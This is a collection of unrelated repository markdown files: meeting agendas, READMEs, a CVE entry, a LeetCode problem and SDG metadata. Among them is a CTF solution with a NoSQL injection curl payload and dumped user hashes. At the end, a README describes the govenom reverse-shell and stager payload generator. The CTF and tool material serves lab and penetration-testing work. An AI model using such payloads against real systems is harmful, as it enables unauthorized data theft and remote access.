* **The MongoDB and V4 based Archive Service at BNL** _Nikolay Malitsky_

* **BNL use of Channel Finder Service** _Speaker to be announced. Bob can you arrange one?_

* **BNL operations use of OLOG and MASAR** _Speaker to be announced. Bob can you arrange one?_

* **BNL environment for experimental control, data acquisition, and data management** _Bob or deputy_

* **User's guide to CSS** _Gabriele Carcassi_

* **BNL users' experience with CSS** _Speaker to be announced_

DAY 3, Thursday July 17, 2014: Gateway requirements
-
9:00 AM. Precise location to be announced. TIMES ARE AT CHAIR'S DISCRETION.

*Morning; Gateway requirements, 2014-15 Charter review, plans, assignments*

* **Dates and Location of next meeting** Proposal is both Monday 20th and Friday 24th October as satellite of Saclay EPICS Users Meeting.

* **Review of the [gateway requirements][2]** _Lead by Ralph Lange_

    The gateway is now becoming the most critical element of V4 outstanding. Please be prepared having read the published requirements and ready with your own.

    One objective will be prioritization. Will streaming be attempted in the first pass? How to deal with differing pvRequests of the same PV?

* **Monitor processing** _Marty Kraimer_

* **2014-15 Charter Review and Roadmap** _Greg White_

*Afternoon; overflow*

As we've found we need, we need some overflow time to return to critical issues.

[1]: http://epics-pvdata.sourceforge.net/internal/proposedChanges/featureListR4.4.html "Version 4.4 Feature List"
[2]: http://epics-pvdata.sourceforge.net/doc/pvGateway/requirements.html "Gateway Requirements"

repository: epics-base/pvDataWWW

gha_language: HTML

repo_name: epics-base/pvDataWWW


text:
### [CVE-2020-7770](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7770)
![](https://img.shields.io/static/v1?label=Product&message=json8&color=blue)
![](https://img.shields.io/static/v1?label=Version&message=%3C%201.0.3%20&color=brighgreen)
![](https://img.shields.io/static/v1?label=Vulnerability&message=Prototype%20Pollution&color=brighgreen)

### Description

This affects the package json8 before 1.0.3. The function adds in the target object the property specified in the path, however it does not properly check the key being set, leading to a prototype pollution.

### POC

#### Reference
No PoCs from references.

#### Github
- https://github.com/Live-Hack-CVE/CVE-2020-7770

repository: trickest/cve

repo_name: trickest/cve


text:
# Bio-remote  Documentation

Repository for Hardware

## Repository Organization

1. Documentation: This folder contains tecnical documentations, files, UI mockups for the device

2. Project Code: This code contains code for firmware, drivers and application code for the device

## Usage

Fork or clone repository and start submiting your PRs

## License
[MIT](https://choosealicense.com/licenses/mit/)

repository: tizentos/bio-remote-hardware

repo_name: tizentos/bio-remote-hardware


text:
# Hazelcast OpenShift

Hazelcast Enterprise is available on the OpenShift platform in a form of a dedicated Docker image [`registry.connect.redhat.com/hazelcast/hazelcast-3-rhel7`](https://access.redhat.com/containers/?tab=overview#/registry.connect.redhat.com/hazelcast/hazelcast-3-rhel7) published in [Red Hat Container Catalog](https://access.redhat.com/containers/).

# Quick Start

Create an OpenShift secret with the Hazelcast Enterprise License Key.

    $ oc create secret generic hz-enterprise-license --from-literal=key=LICENSE-KEY-HERE

Then, here's an example of a simple template that can be used to start a Hazelcast cluster (don't forget to replace `<project_name>` of `HAZELCAST_KUBERNETES_SERVICE_DNS` in the template).

```
apiVersion: v1
kind: Template
objects:
- apiVersion: v1
  kind: ConfigMap
  metadata:
    name: hazelcast-configuration
  data:
    hazelcast.xml: |-
      <?xml version="1.0" encoding="UTF-8"?>
      <hazelcast xsi:schemaLocation="http://www.hazelcast.com/schema/config hazelcast-config-3.10.xsd"
                     xmlns="http://www.hazelcast.com/schema/config"
                     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
        <properties>
          <property name="hazelcast.discovery.enabled">true</property>
        </properties>
        <network>
          <join>
            <multicast enabled="false"/>
            <tcp-ip enabled="false" />
            <discovery-strategies>
              <discovery-strategy enabled="true" class="com.hazelcast.kubernetes.HazelcastKubernetesDiscoveryStrategy">
              </discovery-strategy>
            </discovery-strategies>
          </join>
        </network>
      </hazelcast>

- apiVersion: apps/v1
  kind: StatefulSet
  metadata:
    name: hazelcast
    labels:
      app: hazelcast
  spec:
    replicas: 3
    selector:
      matchLabels:
        app: hazelcast
    template:
      metadata:
        labels:
          app: hazelcast
      spec:
        containers:
        - name: hazelcast-openshift
          image: registry.connect.redhat.com/hazelcast/hazelcast-3-rhel7:3.10.2
          ports:
          - name: hazelcast
            containerPort: 5701
          livenessProbe:
            httpGet:
              path: /hazelcast/health/node-state
              port: 5701
            initialDelaySeconds: 30
            periodSeconds: 10
            timeoutSeconds: 5
            successThreshold: 1
            failureThreshold: 3
          readinessProbe:
            httpGet:
              path: /hazelcast/health/node-state
              port: 5701
            initialDelaySeconds: 30
            periodSeconds: 10
            timeoutSeconds: 1
            successThreshold: 1
            failureThreshold: 1
          volumeMounts:
          - name: hazelcast-storage
            mountPath: /data/hazelcast
          env:
          - name: HAZELCAST_KUBERNETES_SERVICE_DNS
            value: hazelcast-service.<project_name>.svc
          - name: HZ_LICENSE_KEY
            valueFrom:
              secretKeyRef:
                name: hz-enterprise-license
                key: key
          - name: JAVA_OPTS
            value: "-Dhazelcast.rest.enabled=true -Dhazelcast.config=/data/hazelcast/hazelcast.xml"
        volumes:
        - name: hazelcast-storage
          configMap:
            name: hazelcast-configuration

- apiVersion: v1
  kind: Service
  metadata:
    name: hazelcast-service
  spec:
    type: ClusterIP
    clusterIP: None
    selector:
      app: hazelcast
    ports:
    - protocol: TCP
      port: 5701
```

If you save it as  `hazelcast.yaml`, then use the following command to start the cluster.

    $ oc new-app -f hazelcast.yaml

# Complete Example

For the complete example, please refer to [Hazelcast Code Samples](https://github.com/hazelcast/hazelcast-code-samples/tree/master/hazelcast-integration/openshift). It presents how to:
 * Set up the OpenShift environment
 * Start a Hazelcast cluster
 * Start Hazelcast Management Center
 * Use Hazelcast Client


text:
# [318. Maximum Product of Word Lengths][enTitle]

**Medium**

Given a string array  *words* , find the maximum value of  *length(word[i]) * length(word[j])*  where the two words do not share common letters. You may assume that each word will contain only lower case letters. If no such two words exist, return 0.

Example 1:

```
Input: ["abcw","baz","foo","bar","xtfn","abcdef"]
Output:16
Explanation:The two words can be "abcw", "xtfn".
```

Example 2:

```
Input: ["a","ab","abc","d","cd","bcd","abcd"]
Output:4
Explanation:The two words can be "ab", "cd".
```

Example 3:

```
Input: ["a","aa","aaa","aaaa"]
Output:0
Explanation:No such pair of words.

```

# [318. 最大单词长度乘积][cnTitle]

**中等**

给定一个字符串数组  *words* ，找到  *length(word[i]) * length(word[j])*  的最大值，并且这两个单词不含有公共字母。你可以认为每个单词只包含小写字母。如果不存在这样的两个单词，返回 0。

**示例 1:**

```
输入: ["abcw","baz","foo","bar","xtfn","abcdef"]
输出:16
解释: 这两个单词为"abcw", "xtfn"。
```

**示例 2:**

```
输入: ["a","ab","abc","d","cd","bcd","abcd"]
输出:4
解释:这两个单词为 "ab", "cd"。
```

**示例 3:**

```
输入: ["a","aa","aaa","aaaa"]
输出:0
解释: 不存在这样的两个单词。
```

# 算法思路

# 测试用例
```
318. Maximum Product of Word Lengths 318. 最大单词长度乘积 Medium
Solution.maxProduct
---
["abcw","baz","foo","bar","xtfn","abcdef"]

=16
---
["a","ab","abc","d","cd","bcd","abcd"]

=4
---
["a","aa","aaa","aaaa"]

=0
```

[enTitle]: https://leetcode.com/problems/maximum-product-of-word-lengths/
[cnTitle]: https://leetcode-cn.com/problems/maximum-product-of-word-lengths/

repository: philippzhang/leetcodeLearnJava

gha_language: Java

repo_name: philippzhang/leetcodeLearnJava


text:
---
title: traffic, a toolbox for processing and analysing air traffic data
tags:
- trajectory
- ADS-B
- Mode S
- air traffic management
- data visualisation
authors:
- affiliation: 1
  name: Xavier Olive
  orcid: 0000-0002-2335-5774
affiliations:
- index: 1
  name: ONERA, Université de Toulouse, France
date: "15 June 2019"
bibliography: paper.bib
---

# Summary

Problems tackled by researchers and data scientists in aviation and air traffic
management (ATM) require manipulating large amounts of data representing
trajectories, flight parameters and geographical descriptions of the airspace
they fly through.

Trajectories are mathematical objects used to describe the evolution of a moving
object with a finite list of parameters. The most common features in ATM include
latitude, longitude, altitude, all indexed by time, with derived ones such as
ground speed, track angle and vertical rate. Aircraft dynamic models may expect
pitch, roll and yaw angles, together with indicated, computed or true airspeed,
Mach number, and more.

Further, airspaces are a key element of aviation: they are regulated by specific
rules, whereby navigation is allowed to determined types of aircraft meeting
strict requirements. Such volumes, assigned to air traffic controllers to ensure
the safety of flights and proper separation between aircraft are most commonly
described as a combination of extruded polygons.

Common operations relevant to trajectories evolving in controlled airspaces
range from basic attributes: time of entry, time of exit, duration, maximum
or minimum altitudes or speed; to more complex operations like intersections of
trajectories with airspaces, distances between pairs of trajectories and more.
Top performance and expressivity are key expectations for common tasks like
preprocessing and filtering of data, preparation of trajectory datasets, or
computation of key performance indicators.

The `traffic` library uses the Python language to reach a large base of
academics and data scientists users, to serve and benefit its active community
and to build on top of a large catalogue of libraries. Trajectories are modelled
on top of Pandas dataframe, a natural solution to represent time series, while
airspaces leverage Shapely [@shapely_2007] geometries and operations
(intersections, inclusion, cascaded joins among others).

`traffic` provides key operations for analysing trajectories evolving in
airspaces. It is particularly useful to programmers and researchers needing to
compute statistics, performance indicators and building datasets for common
machine learning tasks. Meaningful methods are efficiently written using Pandas
and Shapely optimised methods, more obvious operations are directly passed to
the underlying dataframes.

# Core structure of the library

![Architecture of the library](architecture.png)

`traffic` acts as declarative grammar designed to preprocess collections of
trajectories represented as `core.Traffic` classes holding a Pandas DataFrame as
a single attribute. `core.Traffic` provides indexing on `core.Flight`
structures, unfolds map operations---transforming a `core.Flight` into another
`core.Flight`---, and filtering operations---associating a boolean to a
`core.Flight`, set to False if the trajectory should be discarded.

Methods on `core.Flight` are designed to be chained in a similar way Pandas
functions. For the sake of expressivity, any method returning a `core.Flight` or
a boolean can be stacked on `core.Traffic` structures, in order to be later
lazily executed into one single multiprocessed iteration.

Basic navigational data are embedded in the library, together with parsing
facilities for most common sources of information, with a main focus on Europe
at the time being. A particular attention has been put to a proper binding to
ADS-B and Mode S data accessible through the OpenSky [@schafer_opensky_2014]
infrastructure, which is openly accessible to academics; decoding capability for
stored raw messages is also provided via pyModeS library [@sun_pymodes_2019]

Finally, `traffic` library provides facilities to export data in common popular
visualisation tools including Matplotlib/Cartopy [@cartopy_2018], Google Earth,
Leaflet, Cesium JS for geographical coordinates and altair [@altair_2018] for
other features. For the time being, any other kind of visualisation can be
implemented as a plugin.

# Related works

`traffic` has already been used as a preprocessing tool to prepare data for data
analytics [@schafer_opensky_2019] and machine learning methods
[@olive_runway_2018, @olive_detecting_2018, @olive_identifying_2019,
@olive_clustering_2019].

Several third party users have already been using and contributing feedback to
the library, mostly as bug reports and minor bug fixes.

We expect to improve the library with optimisations in processing time, enriched
algorithms and more powerful visualisation capabilities.

# References

repository: xoolive/traffic

gha_language: Python

repo_name: xoolive/traffic


text:
# jt400-spring-boot-starter

Spring Boot Starter for [JTopen](http://jt400.sourceforge.net/) (the opensource version of the IBM Toolbox for Java).

# Notable library imported

* [The JTOpen library](https://mvnrepository.com/artifact/net.sf.jt400/jt400)

# Notable Beans declared

* [AS400](https://javadoc.io/doc/net.sf.jt400/jt400-jdk8/latest/com/ibm/as400/access/AS400.html): Represents the authentication information and a set of connections to the IBM i host servers.
* [DataSource](https://docs.oracle.com/javase/8/docs/api/javax/sql/DataSource.html): A factory for JDBC connexions. The bean is actually an [ASJDBCDataSource](https://javadoc.io/doc/net.sf.jt400/jt400-jdk8/latest/com/ibm/as400/access/AS400JDBCDataSource.html) using the AS400 Bean

# Notable properties

* _jt400.host_: IP or host name of the IBM i the AS400 Bean (and consequently the DataSource Bean) connects to. Defaults to localhost.
* _jt400.user_: User profile to use to connect to the IBM i. Defaults to *CURRENT.
* _jt400.password_: Password to use to connect to the IBM i. Defaults to *CURRENT.

Those default values will only work when the application is running on an IBM i. They must be overridden when running on any other platform.

repository: zeroonebn/zeroonebn

repo_name: zeroonebn/zeroonebn


text:
# Compatibility list
This page shows a list of tried and tested compatible abilities and methods. Unmentioned methods & abilities
might work but your mileage may vary.

**_Note_**: This list is limited to database interactions. It lists 'create' but not 'make' etc.

- [Query Builder](#query-builder)
- [Eloquent](#eloquent)
- [Database Connection](#database-connection)
- [Known Incompatibilities](#known-incompatibilities)

##Query Builder
- dd
- raw (use AQL)
- toSql

### Selections
- addSelect
- crossJoin
- distinct
- doesntExist
- exists
- find
- get
- groupBy
- inRandomOrder
- join
- leftJoin
- limit
- offset
- orderBy
- orderByRaw (use AQL)
- pluck
- select
- selectRaw (use AQL)
- skip
- table
- take

### filters
- having
- havingBetween
- orWhere
- orWhereColumn
- orWhereIn
- orWhereNotIn
- orWhereNotNull
- orWhereNull
- where
- whereBetween
- whereColumn
- whereDate
- whereDay
- whereExists
- whereIn
- whereJsonContains
- whereJsonLength
- whereMonth
- whereNotBetween
- whereNotIn
- whereNotNull
- whereNull
- whereRaw (use AQL)
- whereTime
- whereYear

### Statements
- delete
- insert
- insertGetId
- insertOrIgnore
- truncate
- update
- upsert

### Aggregates
- average
- avg
- count
- max
- min
- sum

##Eloquent
The methods listed below are specific to Eloquent.
Note that a lot of Eloquent's featured are leveraging the query builder. Those methods are listed in the corresponding
chapter below.

### Model CRUD
- all
- create
- delete
- destroy
- find
- first
- firstOr
- firstOrFail
- firstOrCreate
- firstOrNew
- firstWhere
- fresh
- paginate
- save
- updateOrCreate

### Relationships
- One To One
- One To Many
- Many To Many
- One To One (Polymorphic)
- One To Many (Polymorphic)
- Many To Many (Polymorphic)

Methods:
- belongsTo
- belongsToMany
- doesntHave
- enforceMorphMap
- has
- hasMany
- hasOne
- morphedByMany
- morphMany
- morphOne
- morphTo
- with
- withCount

##Testing
- assertDatabaseCount
- assertDeleted
- assertDatabaseHas
- assertDatabaseMissing
- assertModelExists
- assertModelMissing
- assertNotSoftDeleted
- assertSoftDeleted
- castAsJson (dummy method)

##Known incompatibilities
Not all features can be made compatible. Known issues are listed below:

- unions
- rightJoin

## id vs _id
All ArangoDB documents have a default indexed identifier called '_id' consisting of the collection (table) name and
a unique string _key. This looks something like: users/12345.

At the moment _id and id aren't transcribed back and forth. So relations and queries that rely on 'id' will fail if they
don't retrieve a models keyName. Relevant parts of packages must be overridden.

**Note**: this is high on the list to solve generically. So this behaviour is likely to change in the future.

### Transactions
[At the beginning of a transaction you must declare collections that are used in (write) statements.](transactions.md)

### Locking: sharedLock/lockForUpdate
These methods don't work as ArangoDB requires you to declare the locking mechanics at the start of a transaction.

### Separate read and write connections
Aranguent currently doesn't support the combination of a separate read and write connection

### Foreign keys
ArangoDB doesn't support foreign keys. So if a package depends on that for cascading updates or deletes you'll
have to extend those parts of the package.

You can set up an event listener in the Model's boot method or use an
observer besides that you want to override any delete action that is performed directly on the database.

Note that you'll want to delete child models before deleting the model itself. This also lets you retrieve
all child models in case of mass deletion. As you'll be dealing with multiple delete queries it is a good idea to
wrap it in a transaction.

### Raw SQL
Any raw SQL needs to be replaced by AQL.

repository: LaravelFreelancerNL/laravel-arangodb

branch_name: refs/heads/next

repo_name: LaravelFreelancerNL/laravel-arangodb


text:
# Digital Signal Processing

Utility modules to produce mel-spectrograms and normalize audio.

## Acknowledgements

The files included in this subdirectory were directly adopted from [NVIDIA Tacotron 2](https://github.com/NVIDIA/tacotron2) with minimum modifications. We also realize that the Tacotron 2 code was released at a point in time when `torchaudio`did not support STFT or other signal processing functions. For convenience, we have also included a `torch_dsp.py` script that contains utility functions that can replicate preprocessed output using `torchaudio` built-ins.


text:
## BoxRemoveUserFromGroup - Remove user from a group in a box account.

Remark - To be able to access remotely your Box account, follow this [tutorial](https://developer.box.com/docs/setting-up-a-jwt-app) to setup.

##### DLL's to reference
Box.V2.dll
BouncyCastle.Crypto.dll
Microsoft.IdentityModel.Tokens.dll
Microsoft.IdentityModel.Logging.dll
System.IdentityModel.Tokens.Jwt.dll

You can find the dll at [nuget](https://www.nuget.org/packages/Box.V2/).

##### Libraries to import
using Ayehu.Sdk.ActivityCreation.Interfaces;
using Ayehu.Sdk.ActivityCreation.Extension;
using Box.V2.Config;
using Box.V2.JWTAuth;
using Box.V2.Models.Request;

### Mandatory fields when adding a user to a group:
**UserId**			- User e-mail to impersonate
**ClientId**		- Data contained in config.json file.
**ClientSecret**	- Data contained in config.json file.
**EntrepriseId**	- Data contained in config.json file.
**Passphrase**		- Data contained in config.json file.
**JwtPublicKey**	- Data contained in config.json file.
**PrivateKey**		- Data contained in config.json file.
**UserIdToBeAdded**	- User e-mail to be removed.
**GroupName**		- Name of the group to remove the user.

repository: Ayehu/custom-activities

repo_name: Ayehu/custom-activities


text:
# Neural Networks
Implementation of various neural networks for my Neural Network course.

The purpose of providing the code is that we didn't have a model answer for the assignments and most of the class wasn't able to code a correct neural network or even understand what they coded (including me).

So this is an attempt to provide some kind of reference answer with comments to clarify it.

However, copying the code will not benefit you at all. I had lots of fatal programming mistakes that I corrected after reviewing the code many times (like integer division when the return is double). These kinds of mistakes are the one that will benefit you.
You are strongly encouraged to try to do your implementation on your own. As I said, this is provided more as a reference answer.

## Currently implemented
### Back-propagation neural network
The input and output were generated from several monochromatic bitmaps that represent the numbers (1, 3, 9).

The output (0 0 1) represents 1

The output (0 1 0) represents 3

The output (1 0 0) represents 9

The test file uses the same data from the train file. You can remove some of the data from the train file and only test on these data.

# Warning
The neural networks implemented maybe inefficient and are not strongly tested, use them with cautions.

repository: mohamedkomalo/neural-networks

repo_name: mohamedkomalo/neural-networks


text:
---
indicator: 16.1.1
layout: indicator
permalink: /16-1-1/
sdg_goal: '16'
target_id: '16.1'
published: true
target_name: >-
  Significantly reduce all forms of violence and related death rates everywhere

computation_definitions: >-
  National data (Type1)

  This is the national produced statistics in the ROK that best corresponds to the definition of UN SDGs indicators.

  Download the national metadata file for more information.

indicator_name: >-
  Number of victims of intentional homicide per 100,000 population, by sex and
  age

data_name: Number of victims of homicide (by sex)

indicator_definition: >-
  The number of victims in cases counted as homicides depending on the characteristics of victims

statistics_name: Crime Statistics

computation_calculations: >-
  Complied from data entered by police departments based on the Korean Crime Statistics System entries

global_indicator_name: >-
  Number of victims of intentional homicide per 100,000 population, by sex and
  age

un_designated_tier: I
un_custodian_agency: UN-CTS
goal_meta_link: >-
  https://unstats.un.org/sdgs/metadata/files/Metadata-16-01-01.pdf
goal_meta_link_text: >-
  https://unstats.un.org/sdgs/metadata/files/Metadata-16-01-01.pdf
goal_meta_local_link: 'https://kostat-sdg-kor.github.io/sdg-indicators/public/data/Metadata-16-01-01_ENG.pdf'
goal_meta_local_link_text: 'https://kostat-sdg-kor.github.io/sdg-indicators/public/data/Metadata-16-01-01_ENG.pdf'

reporting_status: complete
data_non_statistical: false
graph_type: line
national_geographical_coverage: Total
computation_units: Number of victims
graph_title: >-
  Number of victims of homicide (by sex)
source_active_1: true
source_organisation_1: >-
  Investigation Management and Support Division, Korean National Policy Agency
source_periodicity_1: Annually

source_active_2: false
source_active_3: false
source_active_4: false
source_active_5: false
source_active_6: false
indicator_sort_order: 01-03-01
data_show_map: false
source_url_text_1: Link to source
source_url_text_2: Link to Source
source_url_3: Link to source
source_url_text_4: Link to source
source_url_text_5: Link to source
source_url_text_6: Link to source
source_active_7: false
source_url_text_7: Link to source
source_active_8: false
source_url_text_8: Link to source
source_active_9: false
source_url_text_9: Link to source
title: Untitled
---

repository: kostat-sdg-kor/sdg-data

branch_name: refs/heads/develop

gha_language: Shell

repo_name: kostat-sdg-kor/sdg-data


text:
---
title: OVirt Board
category: community
authors: dneary
wiki_category: Community
wiki_title: OVirt Board
wiki_revision_count: 3
wiki_last_updated: 2013-02-14
---

# OVirt Board

The boards role is to coordinate and help ensure smooth running of the oVirt project. The role of the board in oVirt is specifically to

1.  Define charter & goals for oVirt ecosystem
2.  Ratify new projects into oVirt
3.  Provide support for new projects through the maturity cycle (see adding a new project)
4.  Vote in new board members (based on merit criteria)
5.  Coordinate consolidated release schedules
6.  Ratify votes for smaller member projects (<3 maintainers)
7.  Develop the oVirt ecosystem
8.  Set license policies and deal with licensing questions and issues
9.  Facilitate a form for cross project architectual coordination

The board specifically does not get involved in the day-to-day of projects or technical implementation. It may however help facilitate [communication](communication) between projects to resolve release schedule or integration issues.

There is no limit on the number of seats on the board. Additional board members are voted onto the board by the existing board members based in merit. The basic criteria for a board member is someone who is:

1.  Recognised in their community of influence
2.  Puts the ‘right’ decision for the project above personal agenda
3.  Is involved in issues broader than a single project (for example helps release the complete stack, helps with oVirt coordination, markets oVirt, runs meet-ups, does community work etc)

Additional board seats can be voted on at any time based on merit. It is expected that once someone demonstrated the attributes to be a board member consistently for a period of time the board may take up the consideration of that individual for board membership.

The initial board has been composed in the following way:

1.  Those companies that have strategically committed to the project, each start with one self selected board seat. A company is deemed to be strategic if it has committed to resource the projects with 10 or more resources.
2.  A few domain leaders from projects. Not all projects have board representation so that community members can work to fill some of these seats related to projects. Not every project has to be on the board. They do however need to participate in the coordination mail lists
3.  Mentors. Individuals volenteering to help get the oVirt project running.

The tenure of a board seat is indefinite. Once voted into the oVirt board, unless the individual withdraws, they are on for life. The goal is to be able to have individuals come and go in terms of contribution as required and maintain influence on the board independent of employment. There is no differentiation between corporate or community members on the board, and there are no corporate votes. All votes and decisions are made through the lens of what is best for the oVirt project.

If you wish to join the oVirt project strategically, please contact:

The board at<EMAIL_ADDRESS>
OVirt Board Members

*   Alexander Graf – SUSE, Strategic member
*   Ayal Baron – Project, vdsm
*   Carl Trieloff – Mentor
*   Christopher Wright – Red Hat, Strategic member
*   Itamar Heim – Project, engine-core
*   Jun Nakajima – Intel, Strategic member
*   Jon Benedict – NetApp, Strategic member
*   Livnat Peer – Project, engine-core
*   Michael Enescu – Cisco, Strategic member
*   Perry Myers – Project, node
*   Ryan Harper – IBM, Strategic member
*   Scott Moser – Canonical, Strategic member

<Category:Community>

repository: MarSik/ovirt-site

repo_name: MarSik/ovirt-site


text:
Solution
========

To solve the problem you need to find out that it is vulnerable to NoSQL injection, since the application is using a MongoDB. To solve the problem you need to retrieve all data from the users in the database.

The NoSQL injection payload is
```
curl 'http://<challenge_url>/user/%7B%22$gt%22:%20%22%22%7D' -H 'Host: <challenge host>'

```

The list:

```
sgaivota_7148e4934addcddf2cbfe5460f80dee8b87762bfbb45f38c79a2385f398b6052,8e6b3890f99e5153fc786f4a32d3b3c00bc5d5c1432ff9ffcb22d3ecc5e1f687
bruce_0f0c13b699793c02382b2767f9de3234a0fd4a9cd6853757d6a2a86a2b46e4a3,56c7fd904eb97e9834ca476a5636335ab1a9ae6b48ffc433e3a1682679c37d58
chuck_3079ed4ab72f4c4eb3702eab8ac463af21e54ce49cce5bbf9909f3a71a58e6c0,75d8c434c2537748f01aa4e86e7c379ac71e261bbb890666750fdb7a8184f4c0
```

Flag
----

`1195254`

repository: saraivan/CTF-Challenges

repo_name: saraivan/CTF-Challenges


text:
# Silkscreen [![Build Status](https://travis-ci.org/carlosfrodrigues/silkscreen.svg?branch=master)](https://travis-ci.org/carlosfrodrigues/silkscreen)
Silkscreen take Markdown files and convert to Fullpages slides in html. See the [example site](https://carlosfrodrigues.github.io/silkscreen-example/).

![silkscreen-gif](https://raw.githubusercontent.com/carlosfrodrigues/silkscreen/master/github-assets/silkscreen.gif)

### How to use
```sh
silkscreen yourmarkdownfile.md
```
It will generate on the same directory a HTML file with the same name of the markdown file.

### Install
You need Cabal to install, run on the silkscreen directory:
```sh
cabal install
```
It will install silkscreen and the CMark library dependency.

### Configuration
There are two files inside the config folder:
* colors: A file where each line has a HEX color.The colors are used in the background in repeat. You can edit this file choosing the colors you want.
* template.silk: the HTML template used to generate the fullpage.

### Easter Egg
Try running silkscreen with the flag `--weezer`.

repository: carlosfrodrigues/silkscreen

repo_name: carlosfrodrigues/silkscreen


text:
## Overview ##
The Black Duck Hub plugin for Eclipse uses your Black Duck Hub instance to provide an overview of all dependencies in your Maven and Gradle projects. In addition, the plugin enables you to drill down by opening the informational page for any component/version it finds in the Hub.

## Build ##

[![Build Status](https://travis-ci.org/blackducksoftware/hub-eclipse-plugin.svg?branch=master)](https://travis-ci.org/blackducksoftware/hub-eclipse-plugin) [![Black Duck Security Risk](https://copilot.blackducksoftware.com/github/repos/blackducksoftware/hub-eclipse-plugin/branches/master/badge-risk.svg)](https://copilot.blackducksoftware.com/github/repos/blackducksoftware/hub-eclipse-plugin/branches/master)
[![License](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](https://opensource.org/licenses/Apache-2.0)

## Where can I get the latest release? ##

Or you can download the archive version of the update site from the linked release.

## Documentation ##
All documentation for hub-eclipse-plugin can be found on our public [Black Duck Confluence](https://blackducksoftware.atlassian.net/wiki/display/INTDOCS/)


text:
---
app_id: com.github.tenderowl.frog
title: "Frog"
summary: "Extract text from anywhere"
developer: "Tender Owl"
homepage: https://tenderowl.com/work/frog
help_page: https://github.com/tenderowl/frog/issues
bugtracker: https://github.com/tenderowl/frog/issues
dist: flatpak
screenshots:
  - https://raw.githubusercontent.com/tenderowl/frog/master/data/screenshots/frog-screenshot.png
icons:
  "64": https://flatpak.elementary.io/repo/appstream/x86_64/icons/64x64/com.github.tenderowl.frog.png
  "128": https://flatpak.elementary.io/repo/appstream/x86_64/icons/128x128/com.github.tenderowl.frog.png
color:
  primary: "#485a6c"
  primary-text: "#fff"
price: false
releases:

redirect_from: /com.github.tenderowl.frog.desktop/
---

Quickly extract text from any source such as images, websites, even video - everywhere you can grab an image shot. Even if it is encoded in a QR code!

license: Unlicense

repository: elementary/appcenter-web

gha_language: Ruby

gha_license_id: Unlicense

repo_name: elementary/appcenter-web


text:
## Maintenance of Python Dashboard

Certain elements were prioritized over others when determining a workflow for maintenance. Since our app was working without any bugs, the primary goal was to clean up the code to make it easier to read and reproducable; the idea was that this would allow for easier maintenance and feature updates in the future. Next, it was important to incorporate the feedback from our peers and TA; there were certain elements of the dashboard that could immediately be addressed to make the overall experience more engaging. Ideally more feedback would be required. Next, the principles of creating effective dashboards would be reviewed and the dashboard adjusted as required _(no time for this element)_. Finally, additional features would be added _(no time for this element)_. Items completed and outstanding are listed below:

### Outstanding

---

1. Implement feedback you receive from peers during Lab 3's feedback session
  - __TA feedback__:
    - ensuring all states and airports appear on the map consistently, regardless of damage type, needs to be addressed
  - organization of selectors and examples needs to be further examined and optimized for user experience
2. If needed, reorganize and restructure your files/directory structure to separate different structures (see the [Dash docs](Structuring a Multi-Page App) for suggested organizations)
  - not necessarily required for this project
3. Apply principles of creating effective dashboards (Lecture 4)
4. Implement any new features (if time permits)
  - need to figure out how to have plots size and scale automatically instead of setting property sizes of the Iframes and altair sizes.

### Completed

---

1. Implement known bug-fixes and work-arounds
  - non known issues to fix

2. Implement feedback you receive from peers during Lab 3's feedback session:
  - __TA feedback__:
    - examples not removed, provide guidance to users. Peer reviewers thought enclusion was useful.
    - another plot for no damage was not created - this would clutter the page too much. The idea was to demonstrate that no-damage birdstrikes dwarf damage causing birdstrikes and an overlay best demonstrates this. A user would only look at either damage causing birdstrikes together or non-damage causing birdstrikes.
  - __Peer feedback__:
    - direction was added to each selector identifying what plot it controls/adjusts
    - changed damage type in dropdown to match legend of plots
    - no change to the y-axis needed
    - no change to area plot vs line plot
    - bar chart is ordered in ascending order, x-axis is not meant to be "ordered"
    - city's not provided in data set

3. Clean-up and refactor code to make it more readable
    - Added margins to dashboard
    - Consolidated tab content to be a list under the tab callback for both tabs (instead of returning two dbc elements at the callback return)
    - Changed tab colour and background colour
    - changed size of plots to better fit on a 1080p laptop screen
    - `mds_special` theme added
    - changed legend size for better readability
    - added tooltips to line plot over time
    - changed dcc object names to properly reflect their type
    - removed unneeded code
    - corrected grammar and added additional content on number of states represented

4. Reformat your code and add docstrings (PEP8 style)


text:
---
title: Android
sidebar_label: Overview
sidebar_position: 1
---

:::info About
Android is a mobile operating system based on a modified version of the Linux kernel and other open source software, designed primarily for touchscreen mobile devices such as smartphones and tablets. Android is developed by a consortium of developers known as the Open Handset Alliance and commercially sponsored by Google.
:::

These tutorials cover some of the core concepts when developing applications with the AIR SDK for Android. These are concepts specific to the Android platform and generally are not applicable to other platforms.

Some of these concepts are specific to deploying to a particular store, such as Google Play and may not apply to all Android applications.

Tutorials here include:

- [Adding custom resources](custom-resources)
- [Packaging AAB](packaging-android-app-bundles)


text:
Pattern: Missing blank lines around access modifier

Issue: -

## Description

Access modifiers should be surrounded by blank lines.

## Examples

```ruby
# bad
class Foo
  def bar; end
  private
  def baz; end
end

# good
class Foo
  def bar; end

  private

  def baz; end
end
```

## Further Reading

* [RuboCop - Layout/EmptyLinesAroundAccessModifier](https://docs.rubocop.org/rubocop/cops_layout.html#layoutemptylinesaroundaccessmodifier)
* [https://github.com/bbatsov/ruby-style-guide#empty-lines-around-access-modifier](https://github.com/bbatsov/ruby-style-guide#empty-lines-around-access-modifier)

repository: Adroiti/docs-for-code-review-tools

repo_name: Adroiti/docs-for-code-review-tools


text:
govenom

No clue about the target environment, installed shells, firewall rules? Uncommon CPU architecture?
Govenom has you covered!

`govenom` is a `msfvenom`-inspired payload generator written in
Go. This makes it easy to cross-compile static binaries for a
variety of target platforms. It is also much faster than `msfvenom`.

## Payloads

Currently, four payloads are supported:

- **rsh:** A simple reverse shell. It selects one of the most common
  shells binaries and makes it available via TCP or UDP connection.
- **xrsh:** An extended robust reverse shell. A simple heuristic
  determines the most suitable shell executable, taking shells that
  are installed but not in `$PATH` into account. In contrast to most
  other available shells out there, additional info can be sent via
  alternative communication channels via the exfiltration mechanism
  (see relevant section below). For example, if no shell could be
  detected or the connection could not be established due to a
  firewall, the corresponding error can be exfiltrated via DNS.
- **stager**: A shellcode stager that is compatible with Metasploits
  `exploits/multi/handler` with a `meterpreter/reverse_tcp` payload.
  It first reads a 4 Byte shellcode length and then the shellcode
  itself from a TCP connection and executes it. Currently, this is
  only available for Windows targets.
- **socks5**: A `socks5` server via a reverse TCP connection. It
  connects back to the `gateway` tool and provides network access
